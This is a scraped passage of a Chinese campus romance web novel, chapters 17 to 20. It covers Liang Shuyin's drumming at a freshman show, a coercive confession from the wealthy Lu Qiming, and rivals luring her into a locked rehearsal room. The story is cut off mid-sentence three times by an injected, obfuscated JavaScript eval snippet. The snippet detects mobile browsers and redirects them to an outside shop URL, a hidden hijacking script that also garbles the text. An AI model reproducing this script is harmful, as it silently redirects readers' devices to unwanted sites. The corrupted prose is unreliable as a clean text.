钟煦从不远处跑过来,狐疑地看了眼她身边的男人,问她:“怎么了,是不是遇见麻烦了?” 梁舒音已经从香樟树上起了身,整理好衣服,微微摇头:“没有。” “那你晚上有没有时间,一起吃个饭?” 陆祁溟抄手立在一旁,正对这些无聊的对话有些不耐烦,就见旁边的女生忽然伸手过来,挽住了他手臂。 前一秒还威胁他,说要叫人的女孩,此刻却将他当成了挡箭牌。 “抱歉,我有约了。”梁舒音对钟煦道。 看见两人交握的手,钟煦一愣,忍不住打量起她旁边的男人。 难道这就是她在酒吧拒绝他时,口中那个“喜欢的人”? 向来自信明朗的男生,在看见陆祁溟时,头一回生出了些自卑的失落。 知道自己彻底出局,钟煦强颜欢笑:“好,那我...那你...” 失魂落魄的男生连口齿都不利落了,“那我先回宿舍了。” 梁舒音盯着他的背影,心里浮过浅浅的愧疚。 那样阳光开朗的男孩,一次次来到她面前,放下姿态,哪怕屡次碰壁,也从没退缩过。 但她也清楚,这天底下,什么都可以讲个一二三,偏偏喜欢一个人,是没有道理可讲的。 “怎么,舍不得?”陆祁溟盯着她,嗤笑。 梁舒音松开挽着他的手,“陆祁溟,你到底想怎么样?” “你刚才利用我的时候,可不是这个态度。”男人敛了笑,面色认真起来。 他向来最讨厌被欺骗、被玩弄,她是头一个,打破他底线的人。 “昨晚和刚才的事,算我欠你的。”梁舒音真诚地看着他,“你想要什么我尽量满足。” 陆祁溟的视线,落在了她的唇上。 他抬手扣住她后脑勺,俯身靠近,梁舒音本能地偏了头,于是他干燥的唇,擦过了她柔嫩的脖颈。 镇定都是装出来的。 此刻梁舒音心跳踩空,垂在身侧的手掌也冒了冷汗。 她头一回意识到,陆祁溟这个人很危险。 而这危险,却是她主动招惹来的。 “梁舒音,我再说一遍。” 陆祁溟强势又温柔地贴近她耳朵,“我想要什么,你很清楚。” 说完这句像是在威胁的话,不等她回复,他已经松开了她,恢复了正人君子的模样。 “不过,我不喜欢强迫别人。你只要答应,以后别躲着我就行。” 她望着他,几秒后,冷冷淡淡地“嗯”了声。 得到满意的答复,陆祁溟弯了下唇角,转身离开了。 片刻后,跑车发动的声音,在傍晚的校园里震颤耳膜,惊起了路边草丛里一群嬉戏的飞鸟。 直到黑色跑车彻底消失在校道上,梁舒音才回过神来,从包里摸出纸巾,擦了下手心的濡湿。 外卖电话响起,她接起来,声色平稳道:“好的谢谢,我马上过来拿。” 新生汇演是在两天后的晚上。 谁也没想到,叶子在正式演出时,竟然也迟到了,风中凌乱的主唱李旭跑到后台求助梁舒音。 她正在给后面一个诗朗诵的男生化妆,闻言,头也没抬,继续给人描眉,嘴上不冷不淡。 “她上回说了,让我别替她上台了。” 李旭没想到叶子会这样对待恩人,替猪一样的队友道了歉,又忙不迭张口求助。 “学姐你这回要是不帮忙,那我们整个乐队这段时间的努力都要白费了。” “而且节目开了空窗,少不了要被记过,说不定还要扣学分呢。” 李旭急得像热锅上的蚂蚁,梁舒音却丝毫没心软。 “那赶紧找人啊。” “找过了,电话不接,又玩儿失踪呢。” “那就跟老师商量,把你们的节目换到最后一个。” “这...” 李旭憋了半天,终于道出实话,“老师上回就说了,叶子要是再出岔子,就直接取消我们这节目了。” 化完手头这个,梁舒音将定妆粉放回桌上。 “可你的队友已经明确提醒过我,她不希望我再插手你们的表演。” “有她这么坑人的队友吗?” 李旭一掌拍在桌上,“从现在起,叶子已经被开除了,她不再是乐队的成员了。” 眼见着梁舒音仍旧八风不动,李旭几乎快给她跪下了。 “学姐您要不帮忙,我们这表演就真的完蛋了...” 祁薇下午过去照顾姐姐祁婉,差一刻六点时,陆祁溟出差回来了。 她跟他交代了下祁婉的状况。 “姐姐这两天挺稳定的,不哭不闹,一个人在花园里读诗,我给她买了鲜花,她也耐着性子修修剪剪,自己把花捣鼓出来,插进了花瓶。” “好,谢了。” 祁薇看了眼腕表,“哎哟我得走了,晚上文新学院的新生汇演,我得去看看。” 虽然这次的汇演不归她管,但作为新闻传播系的辅导员,她还是得去盯一下。 “要我送你吗?” “不用...” 话没说完,祁薇在汇演群里随意扫了眼,忽然看见有个乐队的表演临时换了鼓手。 看清新的名单后,她当即“哇”了声,冲外甥挑眉道:“有个女生要上台打鼓,我想你应该会很感兴趣的。” 被祁薇带进礼堂时,台上正好轮到一个乐队上场,陆祁溟一抬头,就看了脊背挺得笔直,一身朋克打扮的女孩。 她穿着红格子衬衫,黑色牛仔短裙,黑色短靴,高马尾编了辫子。 上台后,她没像其他人一样,跟台下进行了眼神互动,而是径直走到了鼓手的位置,坐定了。 陆祁溟一直觉得,梁舒音身上有些矛盾的特质。 虽然他曾经骂过秦授对她的刻板印象,但其实,他想象中文学系的女孩,大抵也是跟琴棋书画这些古典的东西相关联的。 然而,初次见她,她却是那样冷傲地出现在摩托车赛场上。 说话做事既有种超越年龄的成熟冷淡,又隐隐劲儿劲儿的,软硬不吃。 而这样难搞的人,却在喝醉后,主动勾着他,将唇送了上来。 就如同此刻台上的表现。 她打鼓的技巧非常成熟,游刃有余,显然是练了多年的老手。 礼堂喧嚣,掌声雷动,她却一副清清冷冷沉浸在自己世界里的模样。 但偶尔抬头时,眼底的笑,却在霎那间直击人心。 他好像有点明白自己为什么会喜欢她了。 随着最后一个鼓点落下,在全场的沸欢呼中,他那死寂一般的心跳,也跟着莫名被点燃了似的。 连掌心都微微出了汗。 “哎陆祁溟——” 祁薇在旁边戳他胳膊,“听说梁舒音原本只是负责后勤,下午给人化妆时临时被拎去顶上的。” “所以呢?” 陆祁溟不知道她在绕弯表达什么。 “所以人家忙了一天肯定还没吃饭啊。”祁薇恨铁不成钢,“这不就是机会吗?” 她拍拍外甥的肩膀,“小姨要去忙了,你自己加把劲啊。” 陆祁溟盯着她离开的背影,顿了下,摸出手机,拨了过去。 “喂——” 梁舒音接起电话时,刚从礼堂后台走出去,步入走廊,抬头就看见立在前方的顾言西。 那头,陆祁溟还在跟她讲电话:“忙完了吗?” “嗯,我临时有点事,等会儿给你打过去好吗?” 那头顿了下,“好。” 挂了电话,梁舒音走到顾言西面前,“你怎么来了?” “过两天就要出发去美国了,难得有空, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“顾言西。”梁舒音偏头瞧他,“你这是在充大款呢?” “怎么,给钱还不开心?”顾言西又抬手去揉她头顶。 他知道,梁蔚生前的病痛烧光了所有积蓄,离世后只给梁舒音留下一套房子。 他这个要强的外甥女一直靠自己攒的钱生活,虽然她妈舒玥每个月都会给她汇去一大笔钱。 但她从没碰过。 学费,生活费都是她这两年做兼职,一点一点攒下的。 他提出过要给她负担大学四年的费用,但她执意不肯,理由是—— “咱俩没有血缘关系,你没这个义务。” 于是,顾言西只能借着发红包的机会,她才能勉强接受。 被他三番两次挠头,梁舒音往后躲了下,一脸的不耐。 “我要你钱干嘛...哎顾言西,你别弄乱我头发。” “收下吧,只是今晚表演的奖励。” “那岂不是我每周表演一次,你一个月辛辛苦苦上班的工资就没啦?” 顾言西手指敲她脑门,“想得美。” 陆祁溟原本在礼堂后台的出口等梁舒音,楼上走廊开着灯,虽影影绰绰,但他抬头还是认出了她。 不仅有她,还有一个男人,两人举止亲密,他揉她脑袋,她笑得很开心。 所以,这就是她所谓的“有事”? 顾言西抬腕看了下时间,差不多该走了。 “对了。” 他突然敛了笑,神情严肃下来,“你知道的,不管你做什么我都支持,但唯独有一件事,你绝对不能去碰。” 梁舒音知道顾言西指的是什么。 她偏头盯着窗外深浓的夜,没吭声。 顾言西继续叮嘱道:“我知道你当初选择这个专业是为了什么,但你不能把自己置于危险的境地。” 一声冷笑从她鼻中溢出。 “所以这个世道,就是好人不长命,坏人活千年对吗?” “所以我爸就该死是吗?害死他的人就该平步青云,长命百岁是吗?” 她咬牙切齿,又故作镇定地质问,微微发抖的指尖不知何时,已经嵌入了掌心。 身后的楼道,忽然有鞋底与水泥地板摩擦的声响。 “谁?” 梁舒音转头去看,楼道却空无一人。 也许是自己草木皆兵了,每回提到这个话题,她都紧绷得不行。 “小音。” 顾言西将手放在她肩膀上,微微下压,试图让她放松下来。 “我答应过你不再插手这件事,同样地,你也必须向我保证,无论何时,都不能去冒险。” “梁蔚只有你这么个女儿,我要替他守好你。” 梁舒音盯着他,几秒后,偏过头,视线掠过窗外的树影,望向更遥远的虚空深处。 “只要你不去冒险,我就不会。” 顾言西看着她的侧脸,认真分辨她此言的真假,半晌,微微点头。 “好,我相信你。” 送走顾言西后,梁舒音回到后台,拿了自己落下的东西,这才想起陆祁溟还等着她回电话。 她从礼堂后门出去,边走,边低头拨过去,也没看周遭的环境。 推门而出时,一股蛮力忽然将她拽住,她还没反应过来,就被人推到了墙角。 淡淡的烟草味靠近,陆祁溟压了过来,双手撑在她脑侧,将她抵在身下,一双漆黑瞳仁深深攫住她。 “陆祁溟?”她吃痛皱眉,“你有病啊。” 他恍若未闻,“楼上那个男人是谁?” 他嗓音很低,一点儿也不凶,甚至还有点温柔的意味。 但梁舒音却从他身上,察觉到了某种类似犬科动物的危险。 像是下一刻,就要朝她露出獠牙。 18. 表白 他将她困在双臂之内,强势地禁锢着她,鼻息落在她眼睫上。 滚烫的,带着强烈的男性气息。 他不但钳制着她的身体,还要裹挟她的呼吸,梁舒音微偏了头,本能地伸手去推他小臂。 然而男生肌肉结实,手臂力量之大,她一点也没能撼动他。 反而还听到了头顶传来的一声低笑,磨得她耳蜗痒痒的。 像是在嘲笑她的蚍蜉撼树之举。 夜色朦胧,晚风卷着落叶,一阵窸窣的响动。 偶有脚步声从礼堂出来。 但几乎没人注意到被黑暗笼罩的两个人,都踩着步子,匆忙离去了。 力气拼不过他,梁舒音索性不动了,靠在墙上,安静地跟他对视。 这会儿,两个人都冷静了下来,陆祁溟身上的攻击意味消散,锋利眸色也随之收敛。 “楼上那个男的是谁?” 他又耐着性子,低声重复了一遍。 “关你什么事?”梁舒音淡淡反问。 陆祁溟意味深长地盯着她,眸色加深,接着,他视线下移,落在她唇上。 低头的那一瞬,梁舒音脑袋一偏,男人的唇擦过她脸颊,落在她耳下。 “你说关我什么事?” 呼吸中,他的嗓音透着些微的不稳,在寂静到只有虫鸣的夜里,却是极其蛊惑而性感的。 像是在用实际行动回答她的问题。 刚才看见她在楼上跟其他男人亲密时,他问过自己—— 如果他的直觉是错的,她喜欢的另有其人,那他还要继续吗? 答案是肯定的。 只是,他向来习惯了高高在上的强势态度,也习惯了所有人都臣服在他之下。 于是刚才失控之下,血液里那种带着攻击性的本能,就冒了出来。 “陆祁溟。” 被亲到的人没慌乱,只淡声提醒他,“这里是学校。” “嗯,学校。” 顺着她的话,他漫不经心地抬起头,装模做样地四处看了眼,恰好撞见前方小树林中,一对情侣在接吻。 见他盯着什么,饶有兴致的样子,梁舒音也顺着他的视线,扭头看过去。 不仅看见了那对接吻的情侣,甚至还注意到了,男生的手,正探入女生衣摆下。 她皱了眉头,回过头,就瞧见陆祁溟用一双越发灼热的深眸,盯着她。 “所以,你刚刚是想告诉我,学校是个谈恋爱的好地方吗?” “还是说——” 见她没应答,他又凑近了,盯着她的唇,“你也想试试。” “你——” 她伸手推拒在他胸前,刚要低斥什么,有人从礼堂跑出来,边跑,边叫她的名字。 “音音。” “音音。” 陈可可四下张望,转头瞧见墙角正在整理衣服的两人,愣了下。 她瞄了眼陆祁溟,犹豫了片刻,才走过去,“音音,你怎么在这儿?我可算找到你了。” 她手上拎着一堆吃的,人还在喘着气,半是意外半是疑惑。 “不是说舅舅来了吗,人呢?” 刚才梁舒音一谢幕,她就在手机上点了外卖。 出去取外卖时,突然想买冰淇淋,打电话问梁舒音要什么口味的,得知顾言西来了,她就多买一个。 舅舅? 陆祁溟撩起眼皮,意外地看向梁舒音,眼角微挑,眸底晦暗一扫而空。 梁舒音瞥他一眼,走到陈可可面前,“他走了,说是晚上还有点事。” “哦。” 陈可可正要把吃的递给她,忽然后知后觉意识到什么,递过去的手,霎时收回。 “你们是不是要一起出去吃?” “不。” “是。” 两人的回答同时响起。 “哦,这样啊。” 陈可可尾音上扬,觑了眼别扭的两人,圆溜溜的眼睛一转。 “那这些我就拿回宿舍了,正好语棠也还没吃饭呢。” 说罢,不等梁舒音张口阻拦,就一溜烟儿跑没了。 梁舒音看着她的背影:“...” 考八百米的时候,怎么没见这家伙跑这么快。 转回实现,就撞上陆祁溟意味深长的笑。 手机在兜里震动起来,她避开他的视线,低头去寻。 手腕的皮肤擦过衬衫粗硬的布料,隐隐有些灼痛。 是刚才被他用力抓着,撞在粗糙的墙上时,擦到的地方。 “怎么了?” 察觉到她皱眉,陆祁溟伸手去抓她手腕。 借着路灯的光,看到她白皙皮肤上的红痕,他沉默了两秒。 “抱歉。” 他没想到女孩的皮肤这么娇嫩,被他那么一抓,就受了伤。 也不管自己的行为是否逾越,他低了头,蹙着眉头,认真地替她往受伤的地方吹气。 手被他突然抓着,梁舒音愣了下,一时忘了挣脱。 男人替她吹完,又盯着她的脸,观察她的表情,“还疼吗?” “不疼了。” 她回过神,从他掌心抽出了手。 大抵是因为她的这点迟疑,陆祁溟神色莫测地笑了下。 她瞥他一眼,抬脚就要离开。 “说好了一起吃饭的。” 陆祁溟跟上去,垂眸,挡在她面前。 “我什么时候答应的?” “就一顿饭。” 陆祁溟抄着手,居高临下看着她,一脸认真,“别拒绝我,梁舒音。” 他看起来姿态很低,但梁舒音知道,如果她不答应,他大概不会放她走。 几秒后,她松了口,淡淡吐出一个“嗯”字。 “想吃什么?”陆祁溟明显面色愉悦了很多。 “随便。” “嗯?” 他拉着她往停车的地方走,“日料?西餐?” “中餐。” 她说完才意识到他在套话,又闭口不言了。 “好。” 陆祁溟摸出手机,打了个电话出去,迅速在附近的餐厅定了位置。 从礼堂外面走到校道上,路灯暧昧的光线下,不少人都朝他们这对俊男美女,投来八卦的目光。 “陆祁溟——” 被他拽着的人不耐烦地开口,“吃饭归吃饭,你先放开我。” “不放。” 陆祁溟摸出车钥匙,扭头看她,“我怕放开了,你又跑了。” “...” 他带她去的是南门外,那间很有名的私房餐厅。 进门时,陆祁溟偏头问她,“能吃辣吗?” 梁舒音目光正落在一楼中间,那个双龙戏珠的装置上,没多想,回了他。 “能。” “喜欢那玩意儿?”陆祁溟好奇道。 她回过神,嗓音淡淡的,“没有,随便看看。” 梁舒音平时很少吃辣,刚才顺口应下,以为不过就是佐料里的辣椒。 结果菜上了,她才意识到陆祁溟为什么要多问那么一句。 才第一道辣子鸡,她就已经舌头发麻,口中冒烟了。 瞥了眼旁边的人,那家伙却一切如常,丝毫没有半点反应。 “不是说能吃辣吗?” 见她嘴唇泛红,陆祁溟隐隐带着点坏笑,替她倒了杯柠檬水。 梁舒音没理会他的调侃,捧着杯子,一口气喝了大半杯。 大概是他跟老板打过招呼,接下来的菜都没那么辣了。 老板沈念是认识陆祁溟的,他手头拿着瓶红酒,亲自过来跟他打招呼。 “稀客啊陆少,这都好几个月没来了。” 这间店,他从前时常光顾。 那时祁薇刚进虞大当辅导员,祁婉也还没出事,每次跟着母亲过来看小姨,一家人都来这里吃饭。 “沈老板,你这生意是越来越好了,不搬出你的名头,都定不了位置。” 沈念谦虚地摆摆手,又道:“这不来给你赔礼道歉了吗?” “这姑娘是虞大的学生?”沈念暧昧的目光在两人间来回摆动。 “嗯。”梁舒音浅笑着点头。 “这长得漂亮学习还好,肯定不少人追吧?” 沈念意味深长地瞥了眼陆祁溟,又问:“有男朋友了吗?” 梁舒音已经不太想搭话了,但还是礼貌应了句。 “没。” “现在的男人啊,靠谱的少,姑娘这么优秀,肯定要好好挑。” 沈念作势要给她倒酒,她婉拒道:“谢谢沈老板,我不喝酒。” 不知道她不喝酒是为了防他,还是不信任自己的酒品。 不过,陆祁溟倒是想起她喝醉后,那副勾着他脖子,主动凑上来的妩媚样子。 他不经意弯了下唇角,跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13007093|134839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈念道:“她不喝,我也不喝。” 沈念原本还抱了点推波助澜的想法,闻言,瞧了眼正人君子陆祁溟,知趣地挑眉。 “行,那两位慢慢吃,我就不打扰了。” 一顿饭安安静静的,末了,陆祁溟才开口问:“你跟你舅舅关系很好?” “嗯。” 也许是承了这顿饭的情,她多说了两句。 “他只比我大八岁,与其说是舅舅,其实更像是哥哥。” “他特意过来看你表演?” 梁舒音顿了下,摇头道:“不是,他要出国工作了,过来看看我。” 陆祁溟没多想,顺着她的话往下,“什么工作?” 梁舒音看着他,“法医。” 那清冷的眼神似乎在说“谁敢欺负我,舅舅的解剖刀不会放过他。” 男人果然一怔。 倒不是害怕,只是没想到。 毕竟,法医这个职业并不是随处可见,做这行的,要么是对这份职业有坚定的信念,要么就是受到家里人的影响。 陆祁溟因此又顺着问了句,“你爸妈呢?也有从事法医职业的?” 正在喝水的梁舒音忽然一顿。 她垂眸,静了两秒,放下水杯,一脸冷淡地看向陆祁溟,复杂眼神中似乎还多了点莫名的敌意。 “谢谢你的晚餐,我吃饱了,走了。” 面对她猝不及防的变脸,陆祁溟很快反应过来,一定是刚才哪句话冒犯她了。 从二楼包间下来的功夫,梁舒音已经做了心理建设,平复了心情。 所以陆祁溟在饭店门口拽住她,跟她道歉时,她欣然接受。 她望着天幕的月亮,又转头看他,欲言又止,半晌,只淡淡吐出一句话。 “跟你没关系。” 然而,陆祁溟却并未有“刑满释放”的松弛。 相反,他更懊恼了,也猜到了她家中,起码父母一方,出了什么事。 心脏处隐隐生出他过去二十几年,都不曾有过的情绪。 是心疼,也是怜惜。 他凝试着被晚风拂乱发丝的姑娘,从她平静的脸上,他似乎看到了一丝哀伤。 想伸手替她捋好头发,但终究控制住了。 “走吧,我送你回宿舍。” 梁舒音意外地没有拒绝他。 “好。”她将唇畔的发丝挽到耳后。 从校外回宿舍,步行半个小时,开车也就几分钟。 但陆祁溟开得很慢,慢到梁舒音怀疑他这不是跑车,是三轮车。 不,三轮车都比他跑得快。 “你们中文系,平时都上什么课?” 静谧的车内,陆祁溟主动抛出话题。 “很多啊。” 梁舒音盯着窗外校道上的学生,语气淡淡的。 陆祁溟看她一眼,见她不打算继续往下,又耐着性子问:“比如?” “比如文学史,语言学,文学理论批评...”她说的很笼统。 “那平时周末都做什么?” “周六咖啡店兼职,周天家教兼职。” “不休息?” 陆祁溟有些意外,毕竟她看起来像是被宠着长大的小孩,也并不像缺钱的样子。 “兼职就是一种休息。” 她这话也不知真假。 跑车开到她宿舍楼下,梁舒音道了谢,刚要伸手去推车门,就听见“咔哒”一声。 车门被他锁上了。 “陆祁溟,你什么意思?”她皱了眉,扭头看他。 “梁舒音——” 陆祁溟凝试着她,目光既没任何的压迫感,也没一丝一毫的戏谑,极为认真,甚至还透着一丝小心翼翼。 “我对你是认真的。” 他顿了下,语气郑重地道出酝酿了一路的话,“你认真考虑下,好吗?” 听到这样直接的表白,梁舒音怔了下。 她低着头颈,睫毛微颤,半晌,抬头看他,语气淡淡的,“如果我说不呢?” 男人盯着她,缓缓牵起了唇角。 对于这样的结果,他并不意外。如果就这样答应了,反倒不是她了。 但她并没有直接拒绝,而是在反问他。 “如果是这样的话。” 他凑过去,将她压在副驾驶位置上,声线蛊惑又威胁。 “那我就不知道,自己会做出什么样的事来了。” 19. 躲他 “你威胁我?” 梁舒音直视着陆祁溟,平静的脸上没有丝毫惧怕或慌乱。 陆祁溟面色微松,从喉头滚出一声莫名性感的低笑。 “好了,我开玩笑的。” 他伸手摸她脑袋,被她躲了开。 于是他索性将手搭在副驾驶上,她肩头后方的位置,敛了笑,神色认真地看着她。 “我说过,即便再喜欢,我也不会强迫你的。” “但是...”他依旧不改强势,“你不能躲我。” 回到宿舍,室友们都还没睡。 林语棠戴着耳机在看电影,听见声音,跟她打了声招呼,就继续回到电影中。 陈可可在看漫画,见她回来,书一扔就跑过来八卦。 “你们吃什么了?” “陆祁溟是不是跟你表白了?” “你答应他了吗?” “没有。” 梁舒音用两个字,言简意赅回答了她所有的问题。 “是没有表白,还是表白了你没答应?”陈可可穷追不舍。 梁舒音从抽屉里拿了两颗巧克力出来,一颗堵住了她叭叭的小嘴,一颗扔给了林语棠。 看来是没答应。 陈可可将巧克力从嘴里拿出来,边剥着锡箔纸,边打量她的神色。 见她似乎并不想提陆祁溟,陈可可又转而说起自己今晚的新发现。 “你知道那个叶子是谁吗?” “谁?” “林岚的表妹。” 梁舒音意外地怔了怔。 难怪,这姑娘会莫名针对她。 “你晚上走得早,没看见她跟他们乐队的人闹了一个晚上,就她被乐队踢出去那事儿。” 陈可可抿着块巧克力,说话语气含糊。 “可这能怪谁呀?她自己迟到,差点把整个乐队都给害惨了,还好意思倒打一耙。” 梁舒音正在拆辫子,闻言,淡淡地“嗯”了声。 “对了,你周六是不是要去咖啡店兼职?”陈可可扒着她胳膊问。 她把拆下的皮筋收拢了,放进抽屉里,“嗯,要去。” “我听他们聊天,那个林岚说周六要带叶子去园区见一个乐队,我总觉得这两姐妹都没安好心。你看见这俩人,一定要避着走。” “好。” 梁舒音从柜子里找出睡衣,不以为意地点了点头。 转头又见陈可可正拉开她抽屉,扒拉着剩下的巧克力,她提溜着她领子,将人拉离抽屉。 “少吃点甜的,太晚了。” “好吧。” 口腹之欲没被满足的人,顿时转向求知欲,“那你告诉我,你跟陆祁溟到底怎么样了?” “......” 梁舒音松了手,“那你还是吃吧。” 她随手用抓夹将头发固定在头顶,抱着睡衣,准备去洗澡。路过阳台时,下意识往楼下的香樟树旁瞥了眼。 男人竟然还没走。 他正散漫地靠在车前,目光落在她宿舍这里,指尖是若隐若现的红。 对方似乎也看见她了。 月色皎洁,树影憧憧,两人隔了那么远的距离,却准确无误地在暗夜中对视上了。 其实,他身上有她喜欢的那种野性,他强势,有时还很野蛮,但又有礼貌和规则作为约束。 有底线,不会乱来。 然而,她也很清楚,她不会跟他在一起。 淡漠地收回视线,梁舒音推开了卫生间的门。 香樟树下,陆祁溟盯着楼上空荡荡的阳台,隐匿在暗影中的脸,忽然浮现一丝笑。 没关系,他一点也不介意跟她慢慢磨。 他掐灭烟蒂,扔进一旁的垃圾桶里,在来往学生的侧目中,拉开车门离开了。 简兮学姐在园区的那间咖啡店,平时有全职员工,也就周六这天需要兼职。 梁舒音去的时候,另一个兼职的学生李诗诗已经到了。 “音音学姐,你来了?”李诗诗热情招呼她。 李诗诗也是虞大的学生,比梁舒音小一届,计算机系的。 梁舒音将包取下来,“来这么早?” 李诗诗不好意思地瞥了眼对门的店,手拢在唇边,压低声音,跟她分享八卦。 “对面要开个酒吧,老板是个超级大帅哥。” 昨天下午有个全职的店员请假了,她正好没课,过来帮忙,就瞧见了那个好有腔调的老板。 对方过来买咖啡,在电话里提到了今天也会来园区。 所以她一大早就起来化妆,挑衣服,提前半个小时过来打开店门。 梁舒音将头发挽起,戴上店里统一的帽子,闻言也没什么特别的表情,只“哦”了声。 李诗诗瞄了眼一旁反应极淡的人。 梁舒音今天只穿了身素净的白T短裤,连妆都没化,素面朝天,却也依旧明艳动人。 又低头看了眼自己捣鼓了两个小时的成果。 真是人比人气死人。 李诗诗顿时气馁,托腮感叹道:“也对,像你这种天生丽质的大美女,应该见惯了帅哥吧。” 自然也就不稀奇了。 梁舒音系好围裙,从手提袋里拿出一盒打包的小笼包,递给李诗诗,轻捏了下她肉肉的手臂。 “说什么呢,赶紧把早饭吃了,快到时间了。” 李诗诗一边笑嘻嘻接过来,一边撒娇似地嘟囔着。 “学姐,痛。” 开学后,园区就热闹了起来。 今天这里有创意集市和乐队表演,生意明显比之前好了很多,俩人忙到中午才歇了口气。 “看来学姐的眼光真没错,头两个月还有人唱衰这里,这个月人气突然就旺了起来。” 李诗诗边嘀咕,边捶打着酸痛的手臂,去外摆区收拾客人喝完的空杯。 对面那间店的店门被推了开,一男一女从里头出来,两人点头道别后,女的就开着车离开了。 早上太忙,李诗诗都忘了关注对面,此刻见男人朝咖啡店望过来,她倒吸了口凉气,囫囵收好外摆区,一溜烟就跑回了店里。 “哎哎哎我说的帅哥,就是那男的。” 她戳了戳梁舒音的胳膊,朝对面支起下巴,一脸兴奋道:“他朝我们这边看过来了。” 梁舒音头也没抬。 后台刚收到一笔外送订单,六杯美式,地址是园区的一个音乐工作室,客户姓林。 她接了单,就听一旁的李诗诗狐疑道:“不对,那个男的好像在盯着你看。” “你们是不是认识?” 不然这样名目张胆地盯人,也太不礼貌了。 “是认识。” 梁舒音淡淡回她,然后捂住李诗诗即将要尖叫起来的嘴巴。 “不过不太熟。” “快,六杯美式,忙完就午休了。” “哦。” 两人分工,李诗诗做完手头的三杯,封装好后,抬头瞥了眼对面,正巧看见那男人边接着电话,边朝着咖啡店走了过来。 “真不熟啊?” 她又不死心地追问梁舒音,“那你知道他的名字吗?他有女朋友吗?” 抬头看了眼即将进门的人,梁舒音解开围裙,摘掉帽子,接过李诗诗手上的咖啡。 “你看好店,我去送咖啡了。” “园区的外卖不是一向都是我去送...的吗?” 李诗诗话没说完,梁舒音已经消失在后门了。 陆祁溟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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男老板听说后,不但不主持公道,还怪学姐穿得太暴露,才引来了祸事,骂她给奶茶店添了麻烦。 学姐气不过,直接撂摊子走人,她觉得老板不做人,当即也跟着辞职了。 这次竟然又是同样的地方。 越想越不对劲,李诗诗从通讯录调出梁舒音的电话号码,打了过去。 电话关机了。 她又慌忙打给了老板简兮。 “那赶紧去找人啊。”简兮也急了。 “可是店怎么办?” “关门,先找人。”简兮利落地道,“找没找到,都给我来个电话。” “好。” 挂了电话,李诗诗将店里的钥匙揣好,又从柜子里翻出学姐给她们防身用的喷雾,然后看向了窗边那两个男人。 如果是虚惊一场还好,万一真有什么问题,她一个人肯定打不过对方,就算报警,警察赶来也需要时间。 犹豫了几秒,李诗诗朝他们走了过去。 陆祁溟正在和秦授聊天,就见服务员小姑娘面色焦急地朝他们走了过来。 “有事?”他问。 “我能不能请你们帮个忙?” 他没有多管闲事的习惯,然而,拒绝的话还没出口,就听她语气着急地补充了一句。 “关于梁舒音的。” 陆祁溟一改事不关己的态度,将手机往桌面一扣,霎时抬眼看向李诗诗。 “她怎么了?” 20. 吃痛 二十分钟前,梁舒音将咖啡送到订单所在的地址,那是一个音乐工作室,在园区的尽头。 工作室有两层,一楼大门敞开,前台没人,旁边是个工业风的旋转楼梯。楼上隐约有钢琴声和交谈声传来。 梁舒音拨了电话给顾客,“您好,您的咖啡已经送到门口了。” 对方语气不太友善,“送上来,二楼右手边第二个房间。” 她顿了下,“好。” 沿着旋转楼梯上去,她找到对方指定的房间,门牌上标注着练习室。 她伸手推门,厚重木门“咯吱”一声,扑面而来的却是浓烈刺鼻的酒气。 这是间很大的排练室,摆着各种乐器,大白天的窗帘紧闭,白炽灯亮得刺眼,墙角横七竖八堆满空酒瓶。 里头有两男两女。 女生坐在沙发上嘻嘻哈哈地聊天,男的一个戴着耳机,在给吉他换弦;一个满头脏辫,翘着二郎腿在抽烟。 “你好,这是你们的外送咖啡。” 她出声后,几人同时朝她看过来。 梁舒音这才看清,那两个女生,一个是林岚,一个是叶子。 林岚眼风在她身上轻飘飘扫过,毫无惊讶之色。 倒是叶子,瞧见她后,本就尖锐的嗓子又高了八度,“学姐,怎么是你?” 过分夸张的表情,让她的演技显得很拙劣。 “我周末在这里兼职。”她没什么表情地答道。 叶子“哦”了声,起身朝她走过来,“辛苦了,东西给我吧。” “好。”她将咖啡递给叶子。 然而,外卖袋刚挂到对方手上,叶子却忽然指尖一缩,东西直接往下坠去。 她眼疾手快,弯腰接住了。 接稳后,她觑了叶子一眼。 “啊抱歉,刚刚没拿稳。”叶子估计是没想到她动作这么利落,笑得有些僵硬。 梁舒音懒得再搭腔。 她检查了下袋子里的东西,外送的咖啡,她向来包装得很严实,但其中一杯还是洒了些许出来。 “学妹,拿稳了。” 她将东西再度递过去,确保对方拿稳了才收手。 “谢谢。” 叶子打开袋子瞥了眼,脸色骤变,“学姐,这都洒了,还能喝吗?” 梁舒音淡漠地看着她,“如果你觉得不能喝,可以重新再点一杯。” 说完这话,她就准备离开,然而刚抬脚,就看见刚刚翘着二郎腿的脏辫男起了身,朝门口走去。 “啪嗒”一声。 门被锁上了。 梁舒音顿下脚步,半是疑惑半是警惕地看向对方。 那人一道断眉微微上扬,笑得不善。 “听说你打鼓打得不错,我们正好缺一个鼓手,有没有兴趣加入?” 陈可可的话还真是应验了。 这群人,果然是冲着她来的。 只是四对一,如果真的发生冲突,她应该没有胜算。 按捺住脾气,梁舒音依旧维持着礼貌,“抱歉,我没兴趣。” “没兴趣吗?” 身后的叶子嘲讽似地笑了声,“学姐不是回回都要替我去表演吗?怎么就没兴趣了。” 隐隐被她挑衅的语气冒犯了,梁舒音微蹙眉头,扭头看向不知感恩的人。 